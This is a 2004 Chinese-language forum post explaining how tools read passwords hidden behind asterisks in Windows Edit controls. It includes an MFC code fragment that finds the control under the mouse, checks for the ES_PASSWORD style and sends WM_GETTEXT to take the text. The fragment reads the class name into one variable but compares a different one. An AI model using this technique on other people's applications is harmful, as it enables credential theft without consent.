bababa Groupie
加入: 2004/5月/29
Online Status: Offline 回復: 46
|
Posted: 2004/5月/29 5:29下午 | IP記錄
|
|
|
一、非法獲取Password的原理:
Edit控件是Windows的一個標準控件,當把其Password屬性設為True時,就會將輸入的內容屏蔽為星號 ,從而達到保護的目的。雖然我們看來都是星號,但程式中的Edit控件實際仍是使用者輸入的密碼,應用程式可以獲取該控件中的密 碼,其他應用程式也可以通過向其發送WM_GETTEXT或EM_GETLINE消息來獲取Edit控件中的內容。駭客程式正是 利用Edit控件的這個特性,當發現目前探測的視窗是Edit控件並且具有ES_PASSWORD屬性時,則通過SendMes sage向此視窗發送WM_GETTEXT或EM_GETLINE消息,這樣Edit框中的內容就一目瞭然了。
二、駭客軟體工作方法
首先要取得目前的視窗,並判斷是否是Edit控件,一般多通過滑鼠來指定要探測的視窗,例如在WM_MOUSEMOVE 消息的響應函數中進行判斷,現列舉程式碼片段如下:
//將客戶坐標轉換成營幕坐標
ClientToScreen(&point);
//返回一個包含指定營幕坐標點的視窗
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//獲取視窗句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//獲取類名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判斷是否是Edit控件
if (0 == m_strWndClass.CompareNoCase("EDIT"))
{
//獲取視窗風格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果設置了ES_PASSWORD屬性
if (lStyle & ES_PASSWORD)
{
char szText[255];
//通過掌握的句柄hwndCurr向此控件發送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密碼已保存在szText中
m_strPassword = szText;
}
}
}
}
}
上述程式碼中值得注意的有以下幾個關鍵地方:
ClientToScreen(&point);
CWnd* pWnd = CWnd::WindowFromPoint(point);
HWND hwndCurr = pWnd->GetSafeHwnd();
這三句程式碼可以獲取目前滑鼠位置所在視窗的視窗句柄,在SendMessage中要用到的。
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
這便是真正起作用的SendMessage了,其第一個參數指定了要接收消息的視窗句柄,我們已經通過上面的程式碼獲取 到了,第二個參數就是讓Edit控件返回文字的WM_GETTEXT消息了,並將得到的內容保存在szText中。
|